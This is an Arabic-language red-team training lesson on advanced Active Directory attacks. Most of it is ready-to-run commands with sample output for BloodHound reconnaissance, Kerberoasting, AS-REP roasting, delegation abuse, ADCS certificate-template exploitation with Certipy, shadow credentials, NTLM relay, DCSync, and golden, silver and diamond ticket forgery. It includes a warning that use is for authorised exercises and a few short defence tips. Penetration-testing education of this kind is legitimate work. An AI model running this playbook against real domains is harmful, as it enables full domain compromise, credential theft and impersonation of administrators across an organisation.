الفرق الحمراء — الهجومخبير100mL12

هجمات Active Directory المتقدمة

هجمات متقدمة: ADCS، التفويض المقيد، وتتابع NTLM

#ADCS#Delegation#NTLM Relay#Shadow Creds

لماذا Active Directory هو الجائزة الكبرى؟

تشبيه — شرح مبسط
الـ Domain Controller هو مفتاح المملكة. من يملك صلاحية Domain Admin أو krbtgt يملك كل الأجهزة و كل الحسابات في المؤسسة. هذا الدرس عن الطرق الحديثة للوصول لذلك المفتاح.
تحذير
كل التقنيات هنا مذكورة لتمارين red team مصرّح بها فقط. استخدامها بدون تفويض = جريمة فيدرالية في كل دول مجلس التعاون و الاتحاد الأوروبي و الولايات المتحدة.

رسم شجرة الهجوم بـ BloodHound

أول ما يفعله red teamer داخل الدومين هو رسم خريطة العلاقات. BloodHound + SharpHound يجمعان كل ACLs, sessions, group memberships ثم يحوّلانها إلى رسم بياني.

$ bloodhound-python -d corp.local -u user -p Pass1 -ns 10.0.0.10 -c All --zip
$ Invoke-BloodHound -CollectionMethod All,LoggedOn,GPOLocalGroup -ZipFileName loot.zip
[+] 1247 users, 92 computers, 38 GPOs collected

استعلامات Cypher مفيدة

Cypher
MATCH p=shortestPath((u:User {name:"ME@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
MATCH (u:User {hasspn:true}) WHERE u.pwdlastset < (date().epochSeconds - 31536000) RETURN u.name
MATCH (u)-[:GenericAll|WriteOwner|WriteDacl]->(t) RETURN u,t

Kerberos Attacks الكاملة

1) Kerberoasting

bash
GetUserSPNs.py corp.local/user:Pass1 -dc-ip 10.0.0.10 -request -outputfile spns.hash
hashcat -m 13100 spns.hash rockyou.txt -r rules/best64.rule

2) AS-REP Roasting

bash
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10
hashcat -m 18200 asrep.hash rockyou.txt

3) Unconstrained Delegation

bash
Rubeus.exe monitor /interval:1 /nowrap
SpoolSample.exe DC1 PWNED-HOST
PetitPotam.py -d corp.local -u user -p Pass1 PWNED DC1

4) Constrained Delegation Abuse (S4U)

bash
getST.py -spn cifs/target.corp.local -impersonate Administrator corp.local/svc:Pass1
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@target.corp.local

5) Resource-Based Constrained Delegation (RBCD)

bash
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write corp.local/user:Pass1
addcomputer.py corp.local/user:Pass1 -computer-name FAKE$ -computer-pass Fake1
getST.py -spn cifs/TARGET.corp.local -impersonate Administrator corp.local/FAKE$:Fake1

ADCS — أحدث جبهة و أخطرها (ESC1 → ESC15)

Active Directory Certificate Services فيه قوالب شهادات يمكن إساءة تكوينها. أداة Certipy تكتشف و تستغل تلقائياً.

$ certipy find -u user@corp.local -p Pass1 -dc-ip 10.0.0.10 -vulnerable -stdout
[!] Vulnerable: VulnTemplate (ESC1) — ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU
$ certipy req -u user@corp.local -p Pass1 -ca CORP-CA -template VulnTemplate -upn administrator@corp.local
[+] Got certificate for administrator@corp.local — saved as administrator.pfx
$ certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
[+] Got TGT and NT hash for administrator: aad3b435...:31d6cfe0d16ae...

الـ ESC الأشهر

  • ESC1 — قالب يسمح بـ SAN + Client Authentication.
  • ESC2 — Any Purpose EKU أو خالٍ.
  • ESC4 — GenericAll على القالب نفسه = استبدله بقالب ضعيف.
  • ESC8 — NTLM relay إلى الـ CA web enrollment.
  • ESC11 — RPC interface بدون EPA.
  • ESC13/15 — حديثة، تتعلق بـ issuance policies / schema.

Shadow Credentials

لو كان لديك GenericWrite على حساب، يمكنك إضافة مفتاح msDS-KeyCredentialLink ثم المصادقة كهذا الحساب بـ PKINIT دون كسر كلمة مروره.

bash
certipy shadow auto -u user@corp.local -p Pass1 -account victim

NTLM Relay — هجوم لا يموت

bash
responder -I eth0 -wrf
ntlmrelayx.py -t ldaps://dc -smb2support --delegate-access
ntlmrelayx.py -t ldap://dc --shadow-credentials --shadow-target victim$
mitm6 -d corp.local
ntlmrelayx.py -6 -wh fake-wpad -t ldaps://dc --delegate-access
الدفاع
  • فعّل SMB Signing + LDAP Signing & Channel Binding (EPA).
  • عطّل LLMNR / NBT-NS / mDNS.
  • عطّل IPv6 إن لم يُستخدم، أو ثبّت DHCPv6 guard.
  • راقب 4624 type 3 + 4768/4769 غير المعتاد.

DCSync و Golden / Silver / Diamond Tickets

bash
secretsdump.py -just-dc corp.local/admin:Pass1@DC1
ticketer.py -nthash <KRBTGT_NTLM> -domain-sid S-1-5-21-... -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass corp.local/administrator@DC1
ticketer.py -nthash <SVC_NTLM> -spn cifs/target -domain corp.local user
Rubeus.exe diamond /tgtdeleg /ticketuser:admin /ticketuserid:500 /groups:512
القاعدة الذهبية للدفاع
عند تأكيد اختراق DC: دوّر krbtgt مرتين (مرة، انتظر 10 ساعات، مرة أخرى).